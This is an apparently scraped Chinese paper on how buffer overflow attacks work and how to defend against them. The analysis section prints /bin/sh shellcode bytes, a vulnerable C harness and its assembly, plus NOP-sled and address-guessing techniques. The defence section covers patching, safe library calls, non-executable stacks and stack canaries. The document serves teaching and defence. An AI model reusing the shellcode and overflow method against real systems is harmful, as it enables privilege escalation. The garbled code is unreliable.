緩沖區(qū)溢出攻擊的分析及防范策略(共15頁)_第1頁
緩沖區(qū)溢出攻擊的分析及防范策略(共15頁)_第2頁
緩沖區(qū)溢出攻擊的分析及防范策略(共15頁)_第3頁
緩沖區(qū)溢出攻擊的分析及防范策略(共15頁)_第4頁
緩沖區(qū)溢出攻擊的分析及防范策略(共15頁)_第5頁
已閱讀5頁,還剩20頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、緩沖區(qū)溢出攻擊(gngj)的分析及防范策略 摘 要隨著Internet及相關信息技術的迅速(xn s)發(fā)展,網(wǎng)上的電子商務呈現(xiàn)出極大的增長勢頭,但是投入的增多意味著風險也隨之而來,網(wǎng)絡安全問題成為各種網(wǎng)上活動需要考慮的頭等大事。本文重點探討一下緩沖區(qū)溢出對計算機系統(tǒng)造成的危害。因為幾十年來,緩沖區(qū)溢出一直引起許多嚴重的安全性問題(wnt)。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)發(fā)布的忠告中關于緩沖區(qū)溢出漏洞占56.76%以上。本文首先解釋了緩沖區(qū)溢出的概念,從程序語言本身存在缺陷,不夠健壯的角度出發(fā),對緩沖

2、區(qū)溢出的原理進行了詳細的闡述;再次,通過一個會導致緩沖區(qū)溢出的程序代碼對緩沖區(qū)溢出攻擊的產生進行了實例分析,同時還對Unix操作系統(tǒng)下的緩沖區(qū)溢出攻擊進行了有針對性的分析,并總結出緩沖區(qū)溢出攻擊的類型;最后,結合緩沖區(qū)溢出攻擊的類型,從系統(tǒng)管理和軟件開發(fā)兩個角度提出了緩沖區(qū)溢出攻擊的防范策略。 關鍵字:緩沖區(qū)溢出 攻擊 AbstractWith the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead t

3、o more venture, network security issue has become the cardinal task that various kinds of online activity need to consider.At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being

4、 utilized maliciously by the lawless person, the harm will hard to estimate.Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesnt check the border of

5、 the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflows potential dangers. At last, according

6、to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking.Key Words: buffer overflow attacking 一 緩沖區(qū)與出的概念(ginin)及原理11何謂(hwi)緩沖區(qū)溢出緩沖區(qū)是用戶為程序運行時在計算機中申請得的一段連續(xù)的內存,它保存了給定類型的數(shù)據(jù)。緩沖區(qū)溢出指的是一種常見且危害很大的系統(tǒng)(xtng)攻擊手段,通過向程序的緩沖區(qū)寫入超出其長度的內容,造成緩沖區(qū)的溢出,從

7、而破壞程序的堆棧,使程序轉而執(zhí)行其他的指令,以達到攻擊的目的。 12緩沖區(qū)溢出的原理從上面的緩沖區(qū)溢出概念可以看出,緩沖區(qū)溢出就是將一個超過緩沖區(qū)長度的字符串置入緩沖區(qū)的結果,這是由于程序設計語言的一些漏洞,如C/C+語言中,不對緩沖區(qū)、數(shù)組及指針進行邊界檢查,(strcpy()、strcat()、sprintf()、gets()等語句),在程序員也忽略對邊界進行檢查而向一個有限空間的緩沖區(qū)中置入過長的字符串可能會帶來兩種結果:一是過長的字符串覆蓋了相鄰的存儲單元,引起程序運行失敗,嚴重的可導致系統(tǒng)崩潰;另一種后果是利用這種漏洞可以執(zhí)行任意指令,甚至可以取得系統(tǒng)特權,由此而引發(fā)多種攻擊方法。緩

8、沖區(qū)溢出對系統(tǒng)的安全性帶來很大的威脅,比如向程序的有限空間的緩沖區(qū)中置入過長的字符串,造成緩沖區(qū)溢出,從而破壞程序的堆棧,使程序轉去執(zhí)行其他的指令,如果這些指令是放在有Root權限的內存里,那么一旦這些指令得到了運行,入侵者就以Root的權限控制了系統(tǒng),這也是我們所說的U2R(User to Root Attacks)攻擊。例如在Unix系統(tǒng)中,使用一些精心編寫的程序,利用SUID程序(如FDFORMAT)中存在的緩沖區(qū)溢出錯誤就可以取得系統(tǒng)超級用戶權限,在Unix取得超級用戶權限就意味著黑客可以隨意控制系統(tǒng)。為了避免這種利用程序設計語言漏洞而對系統(tǒng)的惡意攻擊,我們必須要仔細分析緩沖區(qū)溢出攻擊

9、的產生及類型,從而做出相應的防范策略。 二 緩沖區(qū)溢出攻擊的分析21緩沖區(qū)溢出攻擊的產生C編程語言中,靜態(tài)變量分配在數(shù)據(jù)段中,動態(tài)變量分配在堆棧段中,C語言允許程序員在運行時在內存的兩個不同部分(堆棧和堆)中創(chuàng)建存儲器。通常,分配到堆的數(shù)據(jù)是那些malloc()或新建時獲得的數(shù)據(jù),而分配到堆棧的數(shù)據(jù)一般包括非靜態(tài)的局部變量和所有按值傳遞的參數(shù)。大部分其它信息存儲在全局靜態(tài)存儲器中。一個程序在內存中通常分為程序段、數(shù)據(jù)段和堆棧三個部分。程序段里為程序的機器碼和只讀數(shù)據(jù),這個段通常是只讀代碼,故禁止對程序段進行寫操作。數(shù)據(jù)段放的是程序中的靜態(tài)數(shù)據(jù)。存儲器主要分為三個部分,一是文本區(qū)域,即程序區(qū),用

10、來存儲程序指令,只讀屬性;二是數(shù)據(jù)區(qū)域,它的大小可以由brk()系統(tǒng)調用來改變;三是堆棧,其特點是LIFO(last in, first out)。當C程序調用函數(shù)的時候,首先將參數(shù)壓入堆棧,然后保存指令寄存器(IP)中的內容作為返回地址(RET),放入堆棧的是地址寄存器(FP),然后把當前的棧指針(SP)拷貝到FP,作為新的基地址,并為本地變量留出一定的空間,把SP減去適當?shù)臄?shù)值。計算機執(zhí)行一條指令,并保留指向下一條指令的指針(IP)。當函數(shù)或過程被調用的時候,在堆棧中被保留下來的指令指針將被作為返回地址(RET)。執(zhí)行完成后,RET替換IP,程序接著繼續(xù)執(zhí)行本來的流程。這里有一個(y )直

11、觀的緩沖區(qū)溢出的小例子:void function(char *str)char buffer16;strcpy(buffer, str);Void main()int I;char buffer128;for(I=0; I127; I+)bufferI=A;buffer127=0;function(buffer);printf(“This is a test.n”);在函數(shù)function中,將一個128字節(jié)長度的字符串拷貝到只有16字節(jié)長的局部(jb)緩沖區(qū)中。在使用strcpy()函數(shù)前,沒有進行緩沖區(qū)邊界檢查,導致從buffer開始的256個字節(jié)都將被*str的內容A覆蓋,包括堆棧指針

12、和返回地址,甚至*str都將被A覆蓋。再看看堆棧的結構,由于棧式內存分配具有一條指令即可為子程序分配全部局部變量的存儲空間的特點,分配和去配的開銷極低,高級語言通常在堆棧上分配局部存儲空間。同時,堆棧也被用來存放(cnfng)子程序的返回地址。對C語言來說,調用函數(shù)的語句f(arg1,arg2,argn)被翻譯為如下指令:push argn.push arg1push ncall f而函數(shù)的入口則翻譯為如下入口指令(在Intel X86上)pushl ebpmov esp,ebpsub esp,m #m為f的局部變量的空間大小在Intel X86體系結構上,堆棧是從上向下生長的,因此調用以上函

13、數(shù)時的堆棧結構如圖1所示:arg1 argn n 返回(fnhu)地址 ebp 局部變量 高地址(dzh) 低地址(dzh)圖1 堆棧結構圖例如,調用以下函數(shù)時Void f(char *src) char dest4; memcpy(dest, src,12);堆棧及變量的位置如圖2所示: src l 返回地址 ebp dest3 dest2 dest1 dest0 高地址 低地址圖2 堆棧及位置的變量圖從堆棧結構可以看到,當用精心準備好的地址改寫返回地址時,即可把控制流程引向自己的代碼。C2級操作系統(tǒng)提供了進程空間的隔離機制,因此,利用緩沖區(qū)溢出攻擊可以在別的進程上下文中執(zhí)行自己的代碼,從而

14、繞過操作系統(tǒng)的安全機制,下面是一個例子:Void main() char *str2=”/bin/sh”,0; exec (“/bin/sh”,str,0);編譯后反編譯,并加以整理(zhngl),得到與以上程序等價的機器碼:“xebx2ax5ex89x76x08xc6x46x07x00 xc7x46x0cx00 x00 x00”“x00 xb8x0bx00 x00 x00 x89xf3x8dx4ex08x8dx56x0cxcdx80”“xb8x01x00 x00 x00 xbbx00 x00 x00 x00 xcdx80 xe8xdlxffxff”“xffx2fx62x69x6ex2fx73

15、x68x00 x89xecx5dxc3”事例(shl)程序如下:/ test /char shellcode=“xebx2ax5ex89x76x08xc6x46x07x00 xc7x46x0cx00 x00 x00” “x00 xb8x0bx00 x00 x00 x89xf3x8dx4ex08x8dx56x0cxcdx80”“xb8x01x00 x00 x00 xbbx00 x00 x00 x00 xcdx80 xe8xdlxffxff”“xffx2fx62x69x6ex2fx73x68x00 x89xecx5dxc3”;void f(char *src)char dest4;memcpy(d

16、est,src,12);void main()int shellentry3;shellentry0=(int)shellcode;shellentry1=(int)shellcode;shellentry2=(int)shellcode;f(shellentry);由以上程序可以看出緩沖區(qū)溢出攻擊的關鍵:因為memcpy并不檢驗(jinyn)邊界,所以dest溢出時,使shellcode的地址覆蓋了子程序的返回地址,當子程序執(zhí)行ret指令時,CPU的指令指針寄存器EIP指向shellcode,從而執(zhí)行shellcode。這里討論一個現(xiàn)實中的Unix環(huán)境下,利用緩沖區(qū)溢出的到一個Shell的行

17、攻擊方法的實現(xiàn)。其中,S代表Shellcode,A代表填寫的返回地址,由于Shellcode在虛地址的高端,所以這個返回地址(32bit)一般不會含有零字節(jié):(1) 啟動一個一個Shell的代碼Shellcode的獲得通常的獲得方法是先用高級語言編寫同樣功能的程序,然后用調試工具抽取必須的二進制代碼。高級語言程序如下:shellcode.c#includevoid main()char *name2;name0=”bin/sh”;name1=NULL;execve(name0,name,NULL);exit(0);把上述(shngsh)程序編譯之后,可以用gdb得到上面程序的匯編代碼及二進制代

18、碼,適當優(yōu)化后即可得到二進制的Shellcode。這里要解決的一個問題(wnt)是,無論Shellcode被裝置到內存的什么位置,字符串“/bin/sh”的地址都可以得到。解決方法是在“/bin/sh”之前加一條CALL指令,這樣當CALL被執(zhí)行時,“/bin/sh”的地址將被自動壓入堆棧,緊接著用一條popl指令即可獲得這個地址。Shellcode的結構如下(rxi):(J代表JMP指令,C代表CALL指令,S代表啟動Shell的代碼,s代表串“/bin/sh”,A指向Shellcode的起始地址)。SCO Unix下的Shellcode的匯編代碼如下:Jmp 0 x2a # 3 bytes

19、 # 跳到CALL指令處Popl %esi # 1 byte # 把由CALL指令壓入堆棧的串 # 地址送到esimovl %esi, 0 x8(%esi) # 3 bytesmovb $0 x0, 0 x7(%esi) # 4 bytesmovl $0 x0, 0 xc(%esi) # 7 bytesmovl $0 xb, %eax # 5 bytesmovl %esi, %ebx # 2 bytes # 執(zhí)行execve(name0,name,NULL);leal 0 x8(%esi) , %ecx # 3 bytesleal 0 xc(%esi) , %edx # 3 bytesint

20、$0 x80 # 2 bytesmovl $0 x1,%eax # 5 bytes #執(zhí)行exit(0)movl $0 x0,%ebx # 5 bytesint $0 x80 # 2 bytescall 0 x2f # 5 bytes #跳到popl %esi指令處.string ”/bin/sh” # 8 bytes利用gdb的x命令可以得到上述匯編代碼的二進制代碼。(2) 猜測被溢出的緩沖區(qū)的位置有了shellcode還不夠,在溢出一個緩沖區(qū)時,還必須使被溢出的返回地址正確指向shellcode。在Unix環(huán)境下,當我們去溢出另外一個程序的沒有邊界檢查的buffer時,通常只會得到一個Se

21、gmentation fault(段錯誤),程序退出,再沒有其他信息。這就是由于返回地址不正確引起的。為了正確獲得溢出的緩沖區(qū)在堆棧的位置,所以需要推測shellcode的起始位置,即被溢出的緩沖區(qū)buffer的位置。Unix環(huán)境下,每個進程啟動時的初始堆棧的虛存位置時一樣的。利用下面的程序可以近似的得到這個位置(在環(huán)境變量不同、傳入的命令行參數(shù)不同時,這個值略有變動):unsigned long get_esp(void)_asm_(“movl %esp,%eax”);void main(void)printf(“0 x%xn”,get_esp();通常,進程運行時向堆棧中寫入的數(shù)據(jù)不會超過

22、數(shù)百個字節(jié)或數(shù)千個字節(jié),有了這個起始地址,用簡單的一個個嘗試的方法也是可以攻擊的。但顯然這不是一種效率高的方法。解決的辦法是在緩沖區(qū)前端填充幾百字節(jié)NOP指令,只要猜測的地址落在NOP指令序列中,仍可以執(zhí)行(zhxng)shellcode,從而成倍地增加猜中的機會。(3) 攻擊代碼(di m)中字節(jié)代碼為零的消除Unix的程序中大量使用了strcpy函數(shù),shellcode中含有0 x00,由于通常是攻擊一個字符緩沖區(qū),如果攻擊代碼中含有0,則它會被當成字符串的結尾處理,于是攻擊代碼被截斷(ji dun)。消除的方法是對代碼做適當?shù)淖儞Q,因此在這里需要使用一些匯編程序設計技巧,把shellco

23、de轉換成不含0 x00的等價代碼。(4)被攻擊的緩沖區(qū)很小的情況當緩沖區(qū)太小,可能使NOP部分或shellcode部分覆蓋返回地址ret,導致緩沖區(qū)起址到返回地址的距離不足以容納shellcode,這樣設定的跳轉地址就沒有用上,攻擊代碼不能被正確執(zhí)行。一個方法就是利用環(huán)境變量。當一個進程啟動時,環(huán)境變量被映射到進程堆??臻g的頂端。這樣就可以把攻擊代碼(NOP串+Shellcode)放到一個環(huán)境變兩中,而在被溢出的緩沖區(qū)中填上攻擊代碼的地址。比如,可以把shellcode放在環(huán)境變量中,并把環(huán)境變量傳入到要攻擊的程序中,就可以對有緩沖區(qū)溢出漏洞的程序進行攻擊。利用這樣方法,還可以設計很大的攻擊

24、代碼。 22緩沖區(qū)溢出攻擊的類型緩沖區(qū)溢出的目的在于擾亂具有某些特權運行程序的功能,這樣就可以讓攻擊者取得程序的控制權,如果該程序具有足夠的權限,那么整個主機甚至服務器就被控制了。一般而言,攻擊者攻擊root程序,然后執(zhí)行類似“exec(sh)”的執(zhí)行代碼來獲得root的shell。但并不總是這樣,為了達到這個目的,攻擊者必須達到如下兩個目標:l 在程序的地址空間里安排適當?shù)拇al 通過適當?shù)爻跏蓟拇嫫骱痛鎯ζ?,讓程序跳轉到安排好的地址空間執(zhí)行。我們可以根據(jù)這兩個目標來對緩沖區(qū)溢出攻擊進行分類。1在程序的地址空間里安排適當?shù)拇a有兩種在被攻擊程序地址空間里安排攻擊代碼的方法:(1) 植入法:

25、攻擊者向被攻擊的程序輸入一個字符串,程序會把這個字符串放到緩沖區(qū)里。這個字符串所包含的數(shù)據(jù)是可以在這個被攻擊的硬件平臺運行的指令流。在這里攻擊者用被攻擊程序的緩沖區(qū)來存放攻擊代碼,具體方式有以下兩種差別:a攻擊者不必為達到此目的而溢出任何緩沖區(qū),可以找到足夠的空間來放置攻擊代碼;b緩沖區(qū)可設在任何地方:堆棧(存放自動變量)、堆(動態(tài)分配區(qū))和靜態(tài)數(shù)據(jù)區(qū)(初始化或未初始化的數(shù)據(jù))。(2) 利用已經存在的代碼有時候攻擊者所要的代碼已經存在于被攻擊的程序中了,攻擊者所要做的只是對代碼傳遞一些參數(shù),然后使程序跳轉到想要執(zhí)行的代碼那里。比如(br),共及代碼要求執(zhí)行“exec(bin/sh)”,而在li

26、bc庫中的代碼執(zhí)行“exec(arg)”,其中arg是一個指向字符串的指針參數(shù),那么攻擊者只要把傳入的參數(shù)指針改向指向“/bin/sh”,然后調轉到libc庫中相應的指令序列即可。2控制程序轉移到攻擊代碼(di m)的方法所有這些方法都是在試圖改變程序(chngx)的執(zhí)行流程,使之跳轉到攻擊代碼。其基本特點就是給沒有邊界檢查或有其他弱點的程序送出一個超長的緩沖區(qū),以達到擾亂程序正常執(zhí)行順序的目的。通過溢出一個緩沖區(qū),攻擊者可以用幾乎暴力的方法(窮盡法)改寫相鄰的程序空間面直接跳過系統(tǒng)的檢查。這里的分類基準是攻擊者所尋求的緩沖區(qū)溢出的程序空間類型。原則上可以是任意的空間。比如起初的Morris

27、Worm(莫爾斯蠕蟲)就是使用了fingerd程序的緩沖區(qū)溢出,擾亂fingerd要執(zhí)行的文件的名字。實際上許多的緩沖區(qū)溢出是用暴力的方法來尋求改變程序指針的。這類程序不同的地方就是程序空間的突破和內存空間的定位不同。一般來說,控制程序轉移到攻擊代碼的方法有以下幾種:(1) 函數(shù)返回地址每當一個函數(shù)調用發(fā)生時,調用者會在堆棧中留下函數(shù)返回地址,它包含了函數(shù)結束時返回的地址。攻擊者通過溢出這些自動變量,使這個返回地址指向攻擊代碼,這樣就通過改變程序的返回地址,當函數(shù)調用結束時,程序跳轉到攻擊者設定的地址,而不是原先的地址。這類的緩沖區(qū)進出被稱為“stack smashing attack”,是目

28、前常用的緩沖區(qū)溢出攻擊方式。(2) 函數(shù)指針“Void(*foo)()”中聲明了一個返回值為Void函數(shù)指針的變量foo。函數(shù)指針定位任何地址空間,所以攻擊者只需在任何空間內的函數(shù)指針附近找到一個能夠溢出的緩沖區(qū),然后溢出來改變函數(shù)指針,當程序通過函數(shù)指針調用函數(shù)時,程序的流程就會發(fā)生改變而實現(xiàn)攻擊者的目的。(3) 長跳轉緩沖區(qū)在C語言中包含了一個簡單的檢驗/恢復系統(tǒng),稱為“setjmp/longjmp”,意思是在檢驗點設定“setjmp(buffer)”,用longjmp(buffer)“來恢復檢驗點。然而,如果攻擊時能夠進入緩沖區(qū)的空間,那么“l(fā)ongjmp(buffer)”實際上是跳轉到

29、攻擊者的代碼。像函數(shù)指針一樣,longjmp緩沖區(qū)能夠指向任何地方,所以攻擊者所要做的就是找到一個可供溢出的緩沖區(qū)。一個典型的例子就是Perl 5.003,攻擊者首先進入用來恢復緩沖區(qū)溢出的longjmp緩沖區(qū),然后誘導進入恢復模式,這樣就使Perl的解釋器跳轉到攻擊代碼上了。3綜合代碼植入和流程控制技術最簡單和常見的溢出緩沖區(qū)攻擊類型就是在一個字符串里綜合了代碼植入和激活記錄。攻擊者定位一個可供溢出的自動變量,然后向程序傳遞一個很大的字符串,在引發(fā)緩沖區(qū)溢出改變激活記錄的同時植入了代碼(因為C語言程序員通常在習慣上只為用戶和參數(shù)開辟很小的緩沖區(qū))。代碼植入和緩沖區(qū)溢出不一定要在一次動作內完成

30、,攻擊者可以在一個緩沖區(qū)內放置代碼(這個時候并不能溢出緩沖區(qū)),然后攻擊者通過溢出另一個緩沖區(qū)來轉移程序的指針。這樣的方法一般用來解決可供溢出的緩沖區(qū)不夠大(不能放下全部的代碼)。如果攻擊者試圖使用已經常駐的代碼而不是從外部植入代碼,他們通常必須把代碼做為參數(shù)。舉例說明,在libc(幾乎所有的C程序都用它來連接)中的一部分代碼段會執(zhí)行“exec(something)”,其中的something就是參數(shù),攻擊者使用緩沖區(qū)溢出改變程序的參數(shù),然后利用另一個緩沖區(qū)溢出,使程序指針指向libc中的特定的代碼段。 三 緩沖區(qū)溢出攻擊(gngj)的防范策略緩沖區(qū)溢出攻擊的防范是和整個系統(tǒng)的安全性分不開的。

31、如果整個網(wǎng)絡系統(tǒng)的安全設計很差,則遭受緩沖區(qū)溢出攻擊的機會也大大增加。針對緩沖區(qū)溢出,我們(w men)可以采取多種防范策略。1系統(tǒng)管理上的防范(fngfn)策略(1) 關閉不需要的特權程序由于緩沖區(qū)溢出只有在獲得更高的特權時才有意義,所以帶有特權的Unix下的suid程序和Windows下由系統(tǒng)管理員啟動的服務進程都經常是緩沖區(qū)溢出攻擊的目標。這時候,關閉一些不必要的特權程序就可以降低被攻擊的風險。如Solaris下的fdformat是個有緩沖區(qū)溢出漏洞的suid程序,因為這個格式化軟盤的命令用的較少,最直接的措施是去掉這個程序或者去掉suid位。當有緩沖區(qū)溢出漏洞的程序還沒有補丁時,就可以

32、用這種方法。(2) 及時給程序漏洞打補丁這是漏洞出現(xiàn)后最迅速有效的補救措施。大部分的入侵是利用一些已被公布的漏洞達成的,如能及時補上這些漏洞,無疑極大的增強了系統(tǒng)抵抗攻擊的能力。這兩種措施對管理員來說,代價都不是很高,但能很有效地防止住大部分的攻擊企圖。2軟件開發(fā)過程中的防范策略發(fā)生緩沖區(qū)溢出的主要及各要素是:數(shù)組沒有邊界檢查而導致的緩沖區(qū)溢出;函數(shù)返回地址或函數(shù)指針被改變,使程序流程的改變成為可能;植入代碼被成功的執(zhí)行等等。所以針對這些要素,從技術上我們就可以采取一定的措施。(1)編寫正確的代碼只要我們在所有拷貝數(shù)據(jù)的地方進行數(shù)據(jù)長度和有效性的檢查,確保目標緩沖區(qū)中數(shù)據(jù)不越界并有效,則就可以

33、避免緩沖區(qū)溢出,更不可能使程序跳轉到惡意代碼上。但是諸如C/C+自身是一種不進行強類型和長度檢查的一種程序設計語言,而程序員在編寫代碼時由于開發(fā)速度和代碼的簡潔性,往往忽視了程序的健壯性,從而導致緩沖區(qū)溢出,因此我們必須從程序語言和系統(tǒng)結構方面加強防范。很多不安全程序的出現(xiàn)是由于調用了一些不安全的庫函數(shù),這些庫函數(shù)往往沒有對數(shù)組邊界進行檢查。這些函數(shù)有strcpy()、sprintf()、strcat()等,所以一種簡單的方法是利用grep搜索源程序,找出對這些函數(shù)的調用,然后代以更安全的函數(shù),如strncpy()替換strcpy()。進一步的查找可以是檢查更廣范圍的不安全操作,如在一個不定循

34、環(huán)中對數(shù)組的賦值等??捎玫牧硪环N措施是漏洞探測。利用(lyng)一些工具,人為隨機地產生一些緩沖區(qū)溢出來尋找代碼的安全漏洞。已有這方面的一些高級的查錯工具,如fault injection等。(2)緩沖區(qū)不可(bk)執(zhí)行通過使被攻擊程序的數(shù)據(jù)段地址空間不可執(zhí)行,從而使得攻擊者不可能執(zhí)行被植入被攻擊程序輸入緩沖區(qū)的代碼,這種技術被稱為緩沖區(qū)不可執(zhí)行技術。事實上,很多老的Unix系統(tǒng)都是這樣設計的,但是近來的Unix和MS Windows系統(tǒng)為實現(xiàn)更好的性能(xngnng)和功能,往往在數(shù)據(jù)段中動態(tài)地放入可執(zhí)行的代碼。所以為了保持程序的兼容性不可能使得所有程序的數(shù)據(jù)段不可執(zhí)行。但是我們可以設定堆棧

35、數(shù)據(jù)段不可執(zhí)行,這樣就可以最大限度地保證了程序的兼容性。Linux和Solaris都發(fā)布了有關這方面的內核補丁。因為幾乎沒有任何合法的程序會在堆棧中存放代碼,這種做法幾乎不產生任何兼容性問題。通過使被攻擊程序的數(shù)據(jù)段地址空間不可執(zhí)行,從而使得攻擊者不可能執(zhí)行被殖入被攻擊程序輸入緩沖區(qū)的代碼,這種技術被稱為非執(zhí)行的緩沖區(qū)技術。事實上,很多老的Unix系統(tǒng)都是這樣設計的,但是近來的Unix和MS Windows系統(tǒng)由于實現(xiàn)更好的性能和功能,往往在在數(shù)據(jù)段中動態(tài)地放入可執(zhí)行的代碼。所以為了保持程序的兼容性不可能使得所有程序的數(shù)據(jù)段不可執(zhí)行。Linux和Solaris也發(fā)布了有關這方面的內核補丁。因為

36、幾乎沒有任何合法的程序會在堆棧中存放代碼,這種做法幾乎不產生任何兼容性問題,除了在Linux中的兩個特例,這時可執(zhí)行的代碼必須被放入堆棧中:a.信號傳遞:Linux通過向進程堆棧釋放代碼然后引發(fā)中斷來執(zhí)行在堆棧中的代碼來實現(xiàn)向進程發(fā)送Unix信號。非執(zhí)行緩沖區(qū)的補丁在發(fā)送信號的時候是允許緩沖區(qū)可執(zhí)行的。b.GCC的在線重用:研究發(fā)現(xiàn)gcc在堆棧區(qū)里放置了可執(zhí)行的代碼作為在線重用之用。然而,關閉這個功能并不產生任何問題,只有部分功能似乎不能使用。非執(zhí)行堆棧的保護可以有效地對付把代碼植入自動變量的緩沖區(qū)溢出攻擊,而對于其他形式的攻擊則沒有效果。通過引用一個駐留的程序的指針,就可以跳過這種保護措施。

37、其他的攻擊可以采用把代碼殖入堆或者靜態(tài)數(shù)據(jù)段中來跳過保護。(3)改進C語言函數(shù)庫C語言中存在緩沖區(qū)溢出攻擊隱患的系統(tǒng)函數(shù)有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等??梢蚤_發(fā)出更安全的封裝了若干已知易受堆棧溢出攻擊的庫函數(shù)。修改后的庫函數(shù)實現(xiàn)了原有功能,但在某種程度上可以確保任一緩沖區(qū)溢出都被控制在現(xiàn)有堆棧幀之內。(4)數(shù)組邊界檢查可以說緩沖區(qū)溢出的根本原因是沒有數(shù)組邊界檢查,當數(shù)組被溢出的時候,一些關鍵的數(shù)據(jù)就有可能被修改,比如函數(shù)返回地址、過程幀指針、函數(shù)指針等。同時,攻擊代碼也可以被植入。因此,

38、對數(shù)組進行邊界檢查,使超長代碼不可能植入,這樣就完全沒有了緩沖區(qū)溢出攻擊產生的條件。只要數(shù)組不能被溢出,溢出攻擊就無從談起。為了實現(xiàn)數(shù)組邊界檢查(jinch),則所有的對數(shù)組的讀寫操作都應當被檢查,以確保對數(shù)組的操作在正確的范圍內。最直接的方法是檢查所有的數(shù)組操作,但是會使性能下降很多,通??梢圆捎靡恍﹥?yōu)化的技術來減少檢查的次數(shù)。(5)使堆棧(duzhn)向高地址方向增長緩沖區(qū)溢出的一個重要(zhngyo)要素是植入的代碼成功地被執(zhí)行。最常見的是被植入的代碼放在堆棧區(qū)中。通過修改操作系統(tǒng)核心,在核心層引入保護機制,限制代碼在堆棧區(qū)的執(zhí)行,這樣,緩沖區(qū)溢出攻擊就不可能成功。到目前為止,我們討論利

39、用函數(shù)返回地址控制程序轉移到攻擊代碼的攻擊方法時,有一個基本的前提,那就是當堆棧被壓入數(shù)據(jù)時,棧頂向低地址方向增長,只有這樣,緩沖區(qū)溢出時才可能覆蓋低地址處的函數(shù)返回地址指針,從而控制程序轉移到攻擊代碼。如果我們使用的機器堆棧壓入數(shù)據(jù)時向高地址方向前進,那么無論緩沖區(qū)如何溢出,都不可能覆蓋低地址處的函數(shù)返回地址指針,也就避免了緩沖區(qū)溢出攻擊。但是這種方法仍然無法防范利用堆和靜態(tài)數(shù)據(jù)段的緩沖區(qū)進行溢出的攻擊。(6)程序指針完整性檢查程序指針完整性檢查是針對上述緩沖區(qū)溢出的另一個要素阻止由于函數(shù)返回地址或函數(shù)指針的改變而導致的程序執(zhí)行流程的改變。它的原理是在每次在程序指針被引用之前先檢測該指針是否

40、已被惡意改動過,如果發(fā)現(xiàn)被改動,程序就拒絕執(zhí)行。因此,即使一個攻擊者成功地改變程序的指針,由于系統(tǒng)事先檢測到了指針的改變,因此這個指針不會被使用。與數(shù)組邊界檢查相比,這種方法不能解決所有的緩沖區(qū)溢出問題。但這種方法在性能上有很大的優(yōu)勢,而且兼容性也很好。程序指針完整性檢查大體上有三個研究方向:第一,手寫的堆棧檢測;第二,堆棧保護;第三,保護指針。在手寫的堆棧檢測中會介紹Snarskii為FreeBSD開發(fā)了一套定制的能通過監(jiān)測cpu堆棧來確定緩沖區(qū)溢出的libc。在堆棧保護中會介紹我們自己的堆棧保護方法所開發(fā)的一個編譯器,它能夠在函數(shù)調用的時候自動生成完整性檢測代碼。最后在保護指針中介紹正在開

41、發(fā)中的指針保護方法,這種方法類似于堆棧保護,它提供對所有程序指針的完整性的保護。1)手寫的堆棧監(jiān)測Snarskii為FreeBSD開發(fā)了一套定制的能通過監(jiān)測cpu堆棧來確定緩沖區(qū)溢出的libc。這個應用完全用手工匯編寫的,而且只保護libc中的當前有效紀錄函數(shù)。這個應用達到了設計要求,對于基于libc庫函數(shù)的攻擊具有很好的防衛(wèi),但是不能防衛(wèi)其它方式的攻擊。2)堆棧保護:編譯器生成的有效紀錄完整性檢測堆棧保護是一種提供程序指針完整性檢查的編譯器技術,通過檢查函數(shù)活動紀錄中的返回地址來實現(xiàn)。堆棧保護作為gcc的一個小的補丁,在每個函數(shù)中,加入了函數(shù)建立和銷毀的代碼。加入的函數(shù)建立代碼實際上在堆棧中

42、函數(shù)返回地址后面加了一些附加的字節(jié),如圖2示。而在函數(shù)返回時,首先檢查這個附加的字節(jié)是否被改動過。如果發(fā)生過緩沖區(qū)溢出的攻擊,那么這種攻擊很容易在函數(shù)返回前被檢測到。但是,如果攻擊者預見到這些附加字節(jié)的存在,并且能在溢出過程中同樣地制造他們,那么他就能成功地跳過堆棧保護(boh)的檢測。通常,我們有如下的兩種方案對付這種欺騙:a終止(zhngzh)符號:利用在C語言中的終止符號如0(null),CR,LF,-1(EOF)等不能在常用的字符串函數(shù)中使用(shyng),因為這些函數(shù)一旦遇到這些終止符號,就結束函數(shù)過程了。b隨機符號:利用一個在函數(shù)調用時產生的一個32位的隨機數(shù)來實現(xiàn)保密,使得攻擊者

43、不可能猜測到附加字節(jié)的內容。而且,每次調用,附加字節(jié)的內容都在改變,也無法預測。通過檢查堆棧的完整性的堆棧保護法是從Synthetix方法演變來的。Synthetix方法通過使用準不變量來確保特定變量的正確性。這些特定的變量的改變是程序實現(xiàn)能預知的,而且只能在滿足一定的條件才能可以改變。這種變量我們稱為準不變量。Synthetix開發(fā)了一些工具用來保護這些變量。攻擊者通過緩沖區(qū)溢出而產生的改變可以被系統(tǒng)當做非法的動作。在某些極端的情況下,這些準不變量有可能被非法改變,這是就需要堆棧保護來提供更完善的保護了。實驗的數(shù)據(jù)表明,堆棧保護對于各種系統(tǒng)的緩沖區(qū)溢出攻擊都有很好的保護作用,并能保持較好的兼

44、容性和系統(tǒng)性能。早先我們報告的堆棧保護所能抑制的漏洞都在表一中列出。隨后,我們用堆棧保護的方法重新構造了一個完整的Linux系統(tǒng)(Red Hat5.1)。然后我們用XFree86-3.3.2-5和lsof的漏洞對此進行了攻擊,結果表明,這個系統(tǒng)有效地抵御了這些攻擊。這些分析表明,堆棧保護能有效抵御現(xiàn)在的和將來的基于堆棧的攻擊。堆棧保護版本的Red Hat Linux 5.1已經在各種系統(tǒng)上運行了多年,包括個人的筆記本電腦和工作組文件服務器。從我們的Web服務器上可以得到這個版本,而且在我們的郵件列表里已經有了55個成員。出了僅有的一次例外,這個系統(tǒng)和本來的系統(tǒng)工作完全一樣,這表明堆棧保護并不對

